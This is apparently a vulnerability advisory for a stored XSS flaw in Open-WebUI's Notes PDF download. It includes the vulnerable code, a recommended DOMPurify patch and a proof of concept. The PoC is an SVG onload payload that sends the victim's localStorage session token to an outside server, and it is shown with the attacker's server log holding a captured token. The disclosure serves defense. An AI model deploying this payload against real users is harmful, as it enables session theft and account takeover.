Summary
A Stored XSS vulnerability has been discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF.
This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files.
Details
Vulnerability Location
File: src/lib/components/notes/utils.ts Function: downloadPdf() Vulnerable Code (Line 35):
typescript const contentNode = document.createElement('div');
contentNode.innerHTML = html; // Direct assignment without DOMPurify sanitization
node.appendChild(contentNode); document.body.appendChild(node);
Root Cause
1. Incomplete TipTap Editor Configuration - Open-WebUI only uses TipTap StarterKit - No Schema definition for dangerous tags like SVG, Script - Unknown HTML tags are stored as raw HTML 2. Missing Sanitization During PDF Generation - note.data.content.html is directly assigned to innerHTML - No DOMPurify or other sanitization - Stored malicious HTML executes as-is
PoC
Environment - Open-WebUI latest version (v0.6.36) - Admin account
Step 1: Create Malicious Markdown File
Filename: tokenstealer.md
markdown <svg onload="navigator.sendBeacon('https://redacted/steal',localStorage.token)"></svg> navigator.sendBeacon() was used to bypass CORS.
Step 2: Import to Notes
1. Login to Open-WebUI 2. Click "Notes" in the left menu 3. Drag and drop the Markdown file 4. Note is automatically created
Step 3: Trigger PDF Download
1. Access Notes menu (/notes) 2. Click ⋯ on the right side of the uploaded note 3. Select "Download" → "PDF document (.pdf)" 4. JavaScript executes
Step 4: Verify Token Theft
Attacker's server log: http POST /steal HTTP/1.1 Host: redacted Content-Type: text/plain;charset=UTF-8 Content-Length: 145
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMjE4ZmU4LTU2MTktNGEzNS05MWZkLTM2MzA3NDU1NGFkNCJ9.zOicE5c5FJ3ZOc9j6T2xHU-K6dbz-s1ibhIG4LayFw
And Simple PoC alert(1) Filename: simplepoc.md
markdown <svg onload="alert(1)"></svg> <img width="1089" height="310" alt="image" src="https://github.com/user-attachments/assets/ded7bb4a-d0e0-4614-8d64-3113c1f79e2f" />
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Impact
CVSS 3.1 Score: 8.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Vulnerability Type CWE-79: Cross-site Scripting (XSS) CWE-116: Improper Encoding or Escaping of Output
Affected Users - All Open-WebUI users - Especially users utilizing the Notes feature
Attack Scenario 1. Attacker shares malicious note (.md file) in the community 2. Victim uploads the shared note (.md file) 3. Victim downloads as PDF 4. XSS vulnerability triggers 5. Victim's session (localStorage.token) is stolen
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Recommended Patch
typescript // src/lib/components/notes/utils.ts:35 import DOMPurify from 'dompurify';
const contentNode = document.createElement('div');
// Sanitize with DOMPurify contentNode.innerHTML = DOMPurify.sanitize(html, { ALLOWEDTAGS: [ 'p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote', 'table', 'thead', 'tbody', 'tr', 'td', 'th' ], ALLOWEDATTR: ['href', 'class', 'target'], FORBIDTAGS: ['svg', 'script', 'iframe', 'object', 'embed', 'style'], FORBIDATTR: ['onload', 'onerror', 'onclick', 'onmouseover', 'onfocus'], ALLOWDATAATTR: false });
node.appendChild(contentNode);
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References
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html - DOMPurify: https://github.com/cure53/DOMPurify
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